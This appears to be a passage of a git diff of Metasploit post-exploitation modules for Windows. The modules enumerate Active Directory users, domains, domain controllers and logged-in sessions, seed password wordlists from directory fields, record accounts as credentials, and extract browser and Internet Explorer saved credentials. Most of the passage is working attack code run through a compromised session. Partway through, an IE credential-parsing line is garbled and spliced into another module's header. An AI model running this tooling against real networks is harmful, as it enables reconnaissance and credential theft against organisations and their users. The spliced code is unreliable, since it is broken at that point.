name - report[:os_flavor] = flavour - else - # Incase there are non-windows domain computers?! - report[:os_name] = os - end - when 'distinguishedName' - if field =~ /Domain Controllers/i - report[:purpose] = "DC" - end - when 'operatingSystemServicePack' - report[:os_sp] = field - when 'description' - report[:info] = field + # Only perform these actions if the database is connected and we want + # to store in the DB. + if db && datastore['STORE_DB'] + case fields[i] + when 'dNSHostName' + dns = field + report[:name] = dns + hostnames << dns + when 'operatingSystem' + report[:os_name] = field.gsub("\xAE",'') + when 'distinguishedName' + if field =~ /Domain Controllers/i + # TODO: Find another way to mark a host as being a domain controller + # The 'purpose' field should be server, client, device, printer, etc + #report[:purpose] = "DC" + report[:purpose] = "server" end + when 'operatingSystemServicePack' + # XXX: Does this take into account the leading 'SP' string? + + if field.to_i > 0 + report[:os_sp] = 'SP' + field + end + if field =~ /(Service Pack|SP)\s?(\d+)/ + report[:os_sp] = 'SP' + $2 + end + + when 'description' + report[:info] = field end end @@ -125,7 +122,7 @@ class Metasploit3 < Msf::Post results_table << row end - if db and datastore['STORE_DB'] + if db && datastore['STORE_DB'] print_status("Resolving IP addresses...") ip_results = client.net.resolve.resolve_hosts(hostnames, AF_INET) diff --git a/modules/post/windows/gather/enum_ad_service_principal_names.rb b/modules/post/windows/gather/enum_ad_service_principal_names.rb index 843b5cff71..125c9feb59 100644 --- a/modules/post/windows/gather/enum_ad_service_principal_names.rb +++ b/modules/post/windows/gather/enum_ad_service_principal_names.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ - 'Ben Campbell ', #Metasploit Module + 'Ben Campbell', #Metasploit Module 'Scott Sutherland' #Original Powershell Code ], 'Platform' => [ 'win' ], @@ -100,7 +100,7 @@ class Metasploit3 < Msf::Post row = [] 0.upto(fields.length-1) do |i| - field = (result[i].nil? ? "" : result[i]) + field = (result[i][:value].nil? ? "" : result[i][:value]) if fields[i] == 'servicePrincipalName' break if field.blank? diff --git a/modules/post/windows/gather/enum_ad_to_wordlist.rb b/modules/post/windows/gather/enum_ad_to_wordlist.rb new file mode 100644 index 0000000000..33f37b1bcf --- /dev/null +++ b/modules/post/windows/gather/enum_ad_to_wordlist.rb @@ -0,0 +1,109 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex' +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Auxiliary::Report + include Msf::Post::Windows::LDAP + + DEFAULT_FIELDS = [ + 'sn', + 'givenName', + 'state', + 'postalCode', + 'physicalDeliveryOfficeName', + 'telephoneNumber', + 'mobile', + 'facsimileTelephoneNumber', + 'displayName', + 'title', + 'department', + 'company', + 'streetAddress', + 'sAMAccountName', + 'comment', + 'description' + ] + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Active Directory Wordlist Builder', + 'Description' => %q{ + This module will gather information from the default Active Domain (AD) directory + and use these words to seed a wordlist. By default it enumerates user accounts to + build the wordlist. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Thomas Ring'], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'] + )) + + register_options([ + OptString.new('FIELDS', [true, 'Fields to retrieve (ie, sn, givenName, displayName, description, comment)', DEFAULT_FIELDS.join(',')]), + OptString.new('FILTER', [true, 'Search filter.','(&(objectClass=organizationalPerson)(objectClass=user)(objectClass=person)(!(objectClass=computer)))']) + ], self.class) + end + + def run + fields = datastore['FIELDS'].gsub(/\s+/,'').split(',') + search_filter = datastore['FILTER'] + q = nil + + begin + q = query(search_filter, datastore['MAX_SEARCH'], fields) + rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e + # Can't bind or in a network w/ limited accounts + print_error(e.message) + return + end + + return if q.nil? || q[:results].empty? + + @words_dict = {} + q[:results].each do |result| + result.each do |field| + search_words(field[:value]) + end # result.each + end # q.each + + # build array of words to output sorted on frequency + ordered_dict = @words_dict.sort_by { |k,v| v }.reverse + ordered_dict.collect! { |k, v| k } + + if ordered_dict.blank? + print_error("The wordlist is empty") + return + end + + print_good("Wordlist with #{ordered_dict.length} entries built") + stored_path = store_loot('ad.wordlist', 'text/plain', session, ordered_dict.join("\n")) + print_status("Results saved to: #{stored_path}") + end + + def search_words(field) + return if field.blank? + return if field =~ /^\s*$/ || field.length < 3 + + field.gsub!(/[\(\)\"]/, '') # clear up common punctuation in descriptions + field.downcase! # clear up case + + words = field.split(/\s+|=|\/|,|\+/) + return if words.empty? + + words.each do |word| + next if word.length < 3 || word.length > 24 + if @words_dict[word] + @words_dict[word] += 1 + else + @words_dict[word] = 1 + end + end + end +end + diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb index df0d8721b5..8e2dded9e2 100644 --- a/modules/post/windows/gather/enum_ad_user_comments.rb +++ b/modules/post/windows/gather/enum_ad_user_comments.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Post such users have their passwords specified in these fields. }, 'License' => MSF_LICENSE, - 'Author' => [ 'Ben Campbell ' ], + 'Author' => [ 'Ben Campbell' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'References' => @@ -65,10 +65,11 @@ class Metasploit3 < Msf::Post report = {} result.each do |field| - if field.nil? + if field[:value].nil? row << "" else - row << field + row << field[:value] + end end diff --git a/modules/post/windows/gather/enum_ad_users.rb b/modules/post/windows/gather/enum_ad_users.rb new file mode 100644 index 0000000000..94cbbc526e --- /dev/null +++ b/modules/post/windows/gather/enum_ad_users.rb @@ -0,0 +1,188 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex' +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Auxiliary::Report + include Msf::Post::Windows::LDAP + include Msf::Post::Windows::Accounts + + UAC_DISABLED = 0x02 + USER_FIELDS = ['sAMAccountName', 'userAccountControl', 'lockoutTime', 'mail', 'primarygroupid', 'description'].freeze + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Windows Gather Active Directory Users', + 'Description' => %{ + This module will enumerate user accounts in the default Active Domain (AD) directory and stores + them in the database. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Ben Campbell', + 'Carlos Perez ' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options([ + OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]), + OptBool.new('EXCLUDE_LOCKED', [true, 'Exclude in search locked accounts..', false]), + OptBool.new('EXCLUDE_DISABLED', [true, 'Exclude from search disabled accounts.', false]), + OptEnum.new('UAC', [true, 'Filter on User Account Control Setting.', 'ANY', + [ + 'ANY', + 'NO_PASSWORD', + 'CHANGE_PASSWORD', + 'NEVER_EXPIRES', + 'SMARTCARD_REQUIRED', + 'NEVER_LOGGEDON' + ]]) + ], self.class) + end + + def run + max_search = datastore['MAX_SEARCH'] + + begin + q = query(query_filter, max_search, USER_FIELDS) + rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e + # Can't bind or in a network w/ limited accounts + print_error(e.message) + return + end + + if q.nil? || q[:results].empty? + print_status('No results returned.') + else + results_table = parse_results(q[:results]) + print_line results_table.to_s + + if datastore['STORE_LOOT'] + stored_path = store_loot('ad.users', 'text/plain', session, results_table.to_csv) + print_status("Results saved to: #{stored_path}") + end + end + end + + def account_disabled?(uac) + (uac & UAC_DISABLED) > 0 + end + + def account_locked?(lockout_time) + lockout_time > 0 + end + + # Takes the results of LDAP query, parses them into a table + # and records and usernames as {Metasploit::Credential::Core}s in + # the database. + # + # @param [Array>] the LDAP query results to parse + # @return [Rex::Ui::Text::Table] the table containing all the result data + def parse_results(results) + domain = datastore['DOMAIN'] || get_domain + domain_ip = client.net.resolve.resolve_host(domain)[:ip] + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "Domain Users", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => USER_FIELDS + ) + + results.each do |result| + row = [] + + result.each do |field| + if field.nil? + row << "" + else + row << field[:value] + end + end + + username = result.first[:value] + uac = result[1][:value] + lockout_time = result[2][:value] + store_username(username, uac, lockout_time, domain, domain_ip) + + results_table << row + end + results_table + end + + + # Builds the LDAP query 'filter' used to find our User Accounts based on + # criteria set by user in the Datastore. + # + # @return [String] the LDAP query string + def query_filter + inner_filter = '(objectCategory=person)(objectClass=user)' + inner_filter << '(!(lockoutTime>=1))' if datastore['EXCLUDE_LOCKED'] + inner_filter << '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' if datastore['EXCLUDE_DISABLED'] + case datastore['UAC'] + when 'ANY' + when 'NO_PASSWORD' + inner_filter << '(userAccountControl:1.2.840.113556.1.4.803:=32)' + when 'CHANGE_PASSWORD' + inner_filter << '(!sAMAccountType=805306370)(pwdlastset=0)' + when 'NEVER_EXPIRES' + inner_filter << '(userAccountControl:1.2.840.113556.1.4.803:=65536)' + when 'SMARTCARD_REQUIRED' + inner_filter << '(userAccountControl:1.2.840.113556.1.4.803:=262144)' + when 'NEVER_LOGGEDON' + inner_filter << '(|(lastlogon=0)(!lastlogon=*))' + end + "(&#{inner_filter})" + end + + def store_username(username, uac, lockout_time, realm, domain_ip) + service_data = { + address: domain_ip, + port: 445, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: refname, + username: username, + realm_value: realm, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + if account_disabled?(uac.to_i) + status = Metasploit::Model::Login::Status::DISABLED + elsif account_locked?(lockout_time.to_i) + status = Metasploit::Model::Login::Status::LOCKED_OUT + else + status = Metasploit::Model::Login::Status::UNTRIED + end + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: status + } + + login_data[:last_attempted_at] = DateTime.now unless (status == Metasploit::Model::Login::Status::UNTRIED) + + # Merge in the service data and create our Login + login_data.merge!(service_data) + create_credential_login(login_data) + end +end diff --git a/modules/post/windows/gather/enum_applications.rb b/modules/post/windows/gather/enum_applications.rb index a86c45e233..b3b2a25bab 100644 --- a/modules/post/windows/gather/enum_applications.rb +++ b/modules/post/windows/gather/enum_applications.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_artifacts.rb b/modules/post/windows/gather/enum_artifacts.rb index 31abead638..2247ea9dc1 100644 --- a/modules/post/windows/gather/enum_artifacts.rb +++ b/modules/post/windows/gather/enum_artifacts.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_chrome.rb b/modules/post/windows/gather/enum_chrome.rb index 06ee91d28f..f1af882553 100644 --- a/modules/post/windows/gather/enum_chrome.rb +++ b/modules/post/windows/gather/enum_chrome.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -285,7 +285,8 @@ class Metasploit3 < Msf::Post host = session.session_host #Get Google Chrome user data path - sysdrive = expand_path("%SYSTEMDRIVE%").strip + env_vars = session.sys.config.getenvs('SYSTEMDRIVE', 'USERNAME') + sysdrive = env_vars['SYSTEMDRIVE'].strip if directory?("#{sysdrive}\\Users") @profiles_path = "#{sysdrive}/Users" @data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default" @@ -310,7 +311,7 @@ class Metasploit3 < Msf::Post else uid = session.sys.config.getuid print_status "Running as user '#{uid}'..." - usernames << expand_path("%USERNAME%").strip + usernames << env_vars['USERNAME'].strip end has_sqlite3 = true diff --git a/modules/post/windows/gather/enum_computers.rb b/modules/post/windows/gather/enum_computers.rb index 47c5fbd14f..b7a921fd93 100644 --- a/modules/post/windows/gather/enum_computers.rb +++ b/modules/post/windows/gather/enum_computers.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_db.rb b/modules/post/windows/gather/enum_db.rb index 8160a19af3..27ff05d2ed 100644 --- a/modules/post/windows/gather/enum_db.rb +++ b/modules/post/windows/gather/enum_db.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -292,7 +292,7 @@ class Metasploit3 < Msf::Post return results end - windir = session.fs.file.expand_path("%windir%") + windir = session.sys.config.getenv('windir') getfile = session.fs.file.search(windir + "\\system32\\drivers\\etc\\","services.*",recurse=true,timeout=-1) data = nil @@ -332,7 +332,7 @@ class Metasploit3 < Msf::Post elsif exist?(val_location + "\\my.cnf") data = read_file(val_location + "\\my.cnf") else - sysdriv=session.fs.file.expand_path("%SYSTEMDRIVE%") + sysdriv=session.sys.config.getenv('SYSTEMDRIVE') getfile = session.fs.file.search(sysdriv + "\\","my.ini",recurse=true,timeout=-1) getfile.each do |file| if exist?("#{file['path']}\\#{file['name']}") diff --git a/modules/post/windows/gather/enum_devices.rb b/modules/post/windows/gather/enum_devices.rb index 107ff15bba..9829aa63e8 100644 --- a/modules/post/windows/gather/enum_devices.rb +++ b/modules/post/windows/gather/enum_devices.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb index 5819b932fb..c772da1822 100644 --- a/modules/post/windows/gather/enum_dirperms.rb +++ b/modules/post/windows/gather/enum_dirperms.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post 'Author' => [ 'Kx499', - 'Ben Campbell ', + 'Ben Campbell', 'sinn3r' ] )) diff --git a/modules/post/windows/gather/enum_domain.rb b/modules/post/windows/gather/enum_domain.rb index eb253e26cf..6d1c252834 100644 --- a/modules/post/windows/gather/enum_domain.rb +++ b/modules/post/windows/gather/enum_domain.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_domain_group_users.rb b/modules/post/windows/gather/enum_domain_group_users.rb index 0f476149d8..4e50ee1a7e 100644 --- a/modules/post/windows/gather/enum_domain_group_users.rb +++ b/modules/post/windows/gather/enum_domain_group_users.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_domain_tokens.rb b/modules/post/windows/gather/enum_domain_tokens.rb index 03328b2f98..9480d1fb3d 100644 --- a/modules/post/windows/gather/enum_domain_tokens.rb +++ b/modules/post/windows/gather/enum_domain_tokens.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_domain_users.rb b/modules/post/windows/gather/enum_domain_users.rb new file mode 100644 index 0000000000..2ebfbb3208 --- /dev/null +++ b/modules/post/windows/gather/enum_domain_users.rb @@ -0,0 +1,92 @@ +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/windows/registry' +require 'msf/core/post/windows/netapi' + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::Windows::Registry + include Msf::Post::Windows::NetAPI + include Msf::Post::Windows::Accounts + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Enumerate Active Domain Users', + 'Description' => %q{ + This module will enumerate computers included in the primary Domain and attempt + to list all locations the targeted user has sessions on. If a the HOST option is specified + the module will target only that host. If the HOST is specified and USER is set to nil, all users + logged into that host will be returned.' + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Etienne Stalmans ', + 'Ben Campbell' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + register_options( + [ + OptString.new('USER', [false, 'Target User for NetSessionEnum']), + OptString.new('HOST', [false, 'Target a specific host']), + ], self.class) + end + + def run + sessions = [] + user = datastore['USER'] + host = datastore['HOST'] + + if host + if user + print_status("Attempting to identify #{user} on #{host}...") + else + print_status("Attempting to get all logged in users on #{host}...") + end + sessions = net_session_enum(host, user) + elsif user + # Domain must be NETBIOS style rather than DNS style + domain = get_domain + + if domain.blank? + fail_with(Failure::Unknown, "Machine is not part of a domain.") + else + domain = domain.split('.').first.upcase + print_status("Using domain: #{domain}") + print_status("Getting list of domain hosts...") + end + + hosts = net_server_enum(SV_TYPE_ALL, domain) + + if hosts + len = hosts.count + print_status("#{len} host(s) found") + + hosts.each do |host| + sessions << net_session_enum(host[:name], user) + end + end + + sessions.flatten! + else + fail_with(Failure::BadConfig, "Invalid options, either HOST or USER must be specified.") + end + + if sessions.nil? or sessions.count == 0 + fail_with(Failure::Unknown, "No sessions found") + else + print_status("#{sessions.count} session(s) identified") + + sessions.each do |s| + if s + print_good("#{s[:username]} logged in at #{s[:hostname]} and has been idle for #{s[:idletime]} seconds") + end + end + end + end + +end + diff --git a/modules/post/windows/gather/enum_domains.rb b/modules/post/windows/gather/enum_domains.rb index 505b6d385e..28dc44c576 100644 --- a/modules/post/windows/gather/enum_domains.rb +++ b/modules/post/windows/gather/enum_domains.rb @@ -1,13 +1,16 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' +require 'msf/core/post/windows/netapi' class Metasploit3 < Msf::Post + include Msf::Post::Windows::NetAPI + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Domain Enumeration', @@ -23,69 +26,27 @@ class Metasploit3 < Msf::Post end def run + domains = net_server_enum(SV_TYPE_DOMAIN_ENUM) - domain_enum = 2147483648 # SV_TYPE_DOMAIN_ENUM = hex 80000000 - buffersize = 500 - result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) - print_status("Finding the right buffersize...") - while result['return'] == 234 - print_status("Tested #{buffersize}, got #{result['entriesread']} of #{result['totalentries']}") - buffersize = buffersize + 500 - result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) - end + domains.each do |domain| + print_status("Enumerating DCs for #{domain[:name]}") + dcs = net_server_enum(SV_TYPE_DOMAIN_BAKCTRL | SV_TYPE_DOMAIN_CTRL, domain[:name]) - count = result['totalentries'] - print_status("#{count} domain(s) found.") - startmem = result['bufptr'] - - base = 0 - domains = [] - mem = client.railgun.memread(startmem, 8*count) - count.times{|i| - x = {} - x[:platform] = mem[(base + 0),4].unpack("V*")[0] - nameptr = mem[(base + 4),4].unpack("V*")[0] - x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join - domains << x - base = base + 8 - } - - domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL) - - domains.each do |x| - print_status("Enumerating DCs for #{x[:domain]}") - result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,x[:domain],nil) - while result['return'] == 234 - buffersize = buffersize + 500 - result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,x[:domain],nil) - end - if result['totalentries'] == 0 + if dcs.count == 0 print_error("No Domain Controllers found...") next end - count = result['totalentries'] - startmem = result['bufptr'] - - base = 0 - x[:dc] = [] - mem = client.railgun.memread(startmem, 8*count) - count.times{|i| - t = {} - t[:platform] = mem[(base + 0),4].unpack("V*")[0] - nameptr = mem[(base + 4),4].unpack("V*")[0] - t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join - x[:dc] << t - base = base + 8 - print_status(t[:dc_hostname]) + dcs.each do |dc| + print_good("Domain Controller: #{dc[:name]}") report_note( :host => session, :type => 'domain.hostnames', - :data => t[:dc_hostname], + :data => dc[:name], :update => :unique_data ) - } + end end end end diff --git a/modules/post/windows/gather/enum_files.rb b/modules/post/windows/gather/enum_files.rb index 60c6c3a20e..3b28a296ed 100644 --- a/modules/post/windows/gather/enum_files.rb +++ b/modules/post/windows/gather/enum_files.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Post def download_files(location, file_type) - sysdriv = client.fs.file.expand_path("%SYSTEMDRIVE%") + sysdriv = client.sys.config.getenv('SYSTEMDRIVE') sysnfo = client.sys.config.sysinfo['OS'] profile_path_old = sysdriv + "\\Documents and Settings\\" profile_path_new = sysdriv + "\\Users\\" diff --git a/modules/post/windows/gather/enum_hostfile.rb b/modules/post/windows/gather/enum_hostfile.rb index 6066fe1595..9f2d188091 100644 --- a/modules/post/windows/gather/enum_hostfile.rb +++ b/modules/post/windows/gather/enum_hostfile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_ie.rb b/modules/post/windows/gather/enum_ie.rb index 09e06862e0..846df38f16 100644 --- a/modules/post/windows/gather/enum_ie.rb +++ b/modules/post/windows/gather/enum_ie.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post if is_86 addr = [data].pack("V") else - addr = [data].pack("Q") + addr = [data].pack("Q<") end return addr end @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Post entropy.each_byte do |c| salt << c end - ent = salt.pack("s*") + ent = salt.pack("v*") #save values to memory and pack addresses mem = mem_write(data, 1024) @@ -118,7 +118,7 @@ class Metasploit3 < Msf::Post guid.each_byte do |c| salt << c*4 end - ent = salt.pack("s*") + ent = salt.pack("v*") #write entropy to memory and pack addresses mem = mem_write(ent,1024) @@ -133,7 +133,7 @@ class Metasploit3 < Msf::Post len,add = ret["pDataOut"].unpack("V2") else ret = c32.CryptUnprotectData("#{len}#{addr}",16,"#{elen}#{eaddr}",nil,nil,0,16) - len,add = ret["pDataOut"].unpack("Q2") + len,add = ret["pDataOut"].unpack("Q<2") end #get data, and return it @@ -257,7 +257,7 @@ class Metasploit3 < Msf::Post xp_c = "\\Cookies\\index.dat" h_paths = [] c_paths = [] - base = session.fs.file.expand_path("%USERPROFILE%") + base = session.sys.config.getenv('USERPROFILE') if host['OS'] =~ /(Windows 7|2008|Vista)/ h_paths << base + vist_h h_paths << base + vist_hlow @@ -356,13 +356,13 @@ class Metasploit3 < Msf::Post #read array of addresses as pointers to each structure raw = read_str(p_to_arr[0], arr_len,2) pcred_array = raw.unpack("V*") if is_86 - pcred_array = raw.unpack("Q*") unless is_86 + pcred_array = raw.unpack("Q<*") unless is_86 #loop through the addresses and read each credential structure pcred_array.each do |pcred| raw = read_str(pcred, 52,2) - cred_struct = raw.unpack("VVVVQVVVVVVV") if is_86 - cred_struct = raw.unpack("VVQQQQQVVQQQ") unless is_86 + cred_struct = raw.unpack("VVVVQ'Windows Gather Enum User MUICache', + 'Description' => + %q{ + This module gathers information about the files and file paths that logged on users have + executed on the system. It also will check if the file still exists on the system. This + information is gathered by using information stored under the MUICache registry key. If + the user is logged in when the module is executed it will collect the MUICache entries + by accessing the registry directly. If the user is not logged in the module will download + users registry hive NTUSER.DAT/UsrClass.dat from the system and the MUICache contents are + parsed from the downloaded hive. + }, + 'License' => MSF_LICENSE, + 'Author' => ['TJ Glad '], + 'Platform' => ['win'], + 'SessionType' => ['meterpreter'] + )) + end + + # Scrapes usernames, sids and homepaths from the registry so that we'll know + # what user accounts are on the system and where we can find those users + # registry hives. + def find_user_names + user_names = [] + user_homedir_paths = [] + user_sids = [] + + username_reg_path = "HKLM\\Software\\Microsoft\\Windows\ NT\\CurrentVersion\\ProfileList" + profile_subkeys = registry_enumkeys(username_reg_path) + if profile_subkeys.blank? + print_error("Unable to access ProfileList registry key. Unable to continue.") + return nil + end + + profile_subkeys.each do |user_sid| + unless user_sid.length > 10 + next + end + user_home_path = registry_getvaldata("#{username_reg_path}\\#{user_sid}", "ProfileImagePath") + if user_home_path.blank? + print_error("Unable to read ProfileImagePath from the registry. Unable to continue.") + return nil + end + full_path = user_home_path.strip + user_names << full_path.split("\\").last + user_homedir_paths << full_path + user_sids << user_sid + end + + return user_names, user_homedir_paths, user_sids + end + + # This function builds full registry muicache paths so that we can + # later enumerate the muicahe registry key contents. + def enum_muicache_paths(sys_sids, mui_path) + user_mui_paths = [] + hive = "HKU\\" + + sys_sids.each do |sid| + full_path = hive + sid + mui_path + user_mui_paths << full_path + end + + user_mui_paths + end + + # This is the main enumeration function that calls other main + # functions depending if we can access the registry directly or if + # we need to download the hive and process it locally. + def enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file) + results = [] + + all_user_entries = sys_users.zip(muicache_reg_keys, sys_paths) + + all_user_entries.each do |user, reg_key, sys_path| + + subkeys = registry_enumvals(reg_key) + if subkeys.blank? + # If the registry_enumvals returns us nothing then we'll know + # that the user is most likely not logged in and we'll need to + # download and process users hive locally. + print_warning("User #{user}: Can't access registry. Maybe the user is not logged in? Trying NTUSER.DAT/USRCLASS.DAT...") + result = process_hive(sys_path, user, muicache, hive_file) + unless result.nil? + result.each { |r| + results << r unless r.nil? + } + end + else + # If the registry_enumvals returns us content we'll know that we + # can access the registry directly and thus continue to process + # the content collected from there. + print_status("User #{user}: Enumerating registry...") + subkeys.each do |key| + if key[0] != "@" && key != "LangID" && !key.nil? + result = check_file_exists(key, user) + results << result unless result.nil? + end + end + end + end + + results + end + + # This function will check if it can find the program executable + # from the path it found from the registry. Permissions might affect + # if it detects the executable but it should be otherwise fairly + # reliable. + def check_file_exists(key, user) + program_path = expand_path(key) + if file_exist?(key) + return [user, program_path, "File found"] + else + return [user, program_path, "File not found"] + end + end + + # This function will check if the filepath contains a registry hive + # and if it does it'll proceed to call the function responsible of + # downloading the hive. After successfull download it'll continue to + # call the hive_parser function which will extract the contents of + # the MUICache registry key. + def process_hive(sys_path, user, muicache, hive_file) + user_home_path = expand_path(sys_path) + hive_path = user_home_path + hive_file + ntuser_status = file_exist?(hive_path) + + unless ntuser_status == true + print_warning("Couldn't locate/download #{user}'s registry hive. Unable to proceed.") + return nil + end + + print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file...") + local_hive_copy = Rex::Quickfile.new("jtrtmp") + local_hive_copy.close + begin + session.fs.file.download_file(local_hive_copy.path, hive_path) + rescue ::Rex::Post::Meterpreter::RequestError + print_error("Unable to download NTUSER.DAT/USRCLASS.DAT file") + local_hive_copy.unlink rescue nil + return nil + end + results = hive_parser(local_hive_copy.path, muicache, user) + local_hive_copy.unlink rescue nil # Windows often complains about unlinking tempfiles + + results + end + + # This function is responsible for parsing the downloaded hive and + # extracting the contents of the MUICache registry key. + def hive_parser(local_hive_copy, muicache, user) + results = [] + print_status("Parsing registry content...") + err_msg = "Error parsing hive. Unable to continue." + hive = Rex::Registry::Hive.new(local_hive_copy) + if hive.nil? + print_error(err_msg) + return nil + end + + muicache_key = hive.relative_query(muicache) + if muicache_key.nil? + print_error(err_msg) + return nil + end + + muicache_key_value_list = muicache_key.value_list + if muicache_key_value_list.nil? + print_error(err_msg) + return nil + end + + muicache_key_values = muicache_key_value_list.values + if muicache_key_values.nil? + print_error(err_msg) + return nil + end + + muicache_key_values.each do |value| + key = value.name + if key[0] != "@" && key != "LangID" && !key.nil? + result = check_file_exists(key, user) + results << result unless result.nil? + end + end + + results + end + + # Information about the MUICache registry key was collected from: + # + # - Windows Forensic Analysis Toolkit / 2012 / Harlan Carvey + # - Windows Registry Forensics / 2011 / Harlan Carvey + # - http://forensicartifacts.com/2010/08/registry-muicache/ + # - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots + def run + print_status("Starting to enumerate MUICache registry keys...") + sys_info = sysinfo['OS'] + + if sys_info =~/Windows XP/ && is_admin? + print_good("Remote system supported: #{sys_info}") + muicache = "\\Software\\Microsoft\\Windows\\ShellNoRoam\\MUICache" + hive_file = "\\NTUSER.DAT" + elsif sys_info =~/Windows 7/ && is_admin? + print_good("Remote system supported: #{sys_info}") + muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache" + hive_file = 